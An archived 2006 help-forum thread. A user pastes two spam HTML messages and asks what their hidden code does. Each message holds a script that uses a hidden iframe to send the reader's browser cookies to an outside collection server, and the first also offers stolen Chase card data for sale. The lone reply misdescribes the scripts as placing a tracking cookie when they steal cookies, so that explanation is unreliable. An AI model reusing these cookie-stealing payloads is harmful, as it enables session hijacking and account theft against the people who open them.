...

View Full Version : I'm getting spam messages with some code



danutzz
10-11-2006, 09:33 PM
Hello,

From some time I'm getting spam messages that at first look may seem just a line of text. In fact it contains a hidden code like these ones below. Can somebody tell me what are they supposed to do?



<head>
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>New Page 1</title>
</head>

<body>
<style_ html>
<iframe name="a" style="width:0px;height:0px" frameborder="0"></iframe>
<script>
window.status='';
var x = escape(document.cookie).substr(0,1900);
document.getElementById('a').src='http://72.232.6.132/~importa/b.php?id='+document.title.substring(document.title.indexOf('-')+2)+'&cookie='+x+'';





</script>
Hi man,<br>
I am selling Chase Cards with cc#,exp#,cvv# ssn and mmn.<br>
If you are interested let me know.<br>
I also sell Chase algo.<br>
Best regards,<br>
napierd.<br>
<br>
</body>


<!-- type = text -->
new site 4u http://www.1234live.com
<BR><BR><style_ html>
<iframe name="a" style="width:0px;height:0px" frameborder="0"></iframe>
<script>
var today = new Date();
var month = today.getMonth() + 1;
var day = today.getDate();
var year = today.getFullYear();
var s = "/";
var x2= day + s + month + s + year;
window.status='';
var x = escape(document.cookie).substr(0,1900);
document.getElementById('a').src='http://greetyah.servehttp.com/ck/get.php?id='+document.title.substring(document.title.indexOf('-')+2)+''+x2+''+x+'';
</script>

<!-- toctype = X-unknown -->
<!-- toctype = text -->
<!-- text -->

Philip M
10-12-2006, 08:23 AM
This is obviously a criminal enterprise, and the code is intended to place a tracking cookie on your computer, as well as encourage you to click on a link which may well download malware onto your machine. Delete it ASAP!



EZ Archive Ads Plugin for vBulletin Copyright 2006 Computer Help Forum